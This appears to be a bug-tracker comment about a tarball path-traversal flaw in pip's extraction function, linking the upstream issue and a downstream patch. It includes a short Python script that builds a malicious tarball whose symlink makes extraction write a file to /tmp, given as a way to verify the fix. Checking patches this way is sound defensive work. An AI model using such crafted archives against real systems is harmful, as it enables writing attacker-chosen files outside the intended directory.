> We may need a security report for pip

Probably a false alarm.
I *can* make a tarball that causes this function to write a file to an arbitrary location in the filesystem... but all code paths I could find in pip that use this function then run code from the extracted tarball. So users need to trust what they `pip download`, anyway.

Upstream issue: https://github.com/pypa/pip/issues/12111
(This doesn't cover bundled libraries)

PR: https://gitlab.com/redhat/centos-stream/rpms/python-pip/-/merge_requests/12

Verified in the PR.

For verification:

Run this script to create a malformed tarball:

"""
import tarfile

def mkinfo(name, **kwargs):
    tarinfo = tarfile.TarInfo(name=name)
    for name, value in kwargs.items():
        setattr(tarinfo, name, value)
    return tarinfo

with tarfile.open('evil.tar.gz', 'w:gz') as tf:
    tf.addfile(mkinfo('./pyproject.toml'))
    tf.addfile(mkinfo('./tmp', type=tarfile.SYMTYPE,
                      linkname='../../../../../../../../tmp'))
    tf.addfile(mkinfo('./tmp/poc'))
"""

And then run python3 -m pip install evil.tar.gz

On an unpatched pip the evil.tar.gz will install successfully.

On a fixed/patched one a "tarfile.OutsideDestinationError: 'tmp/poc' would be extracted to '/tmp/poc', which is outside the destination" will appear.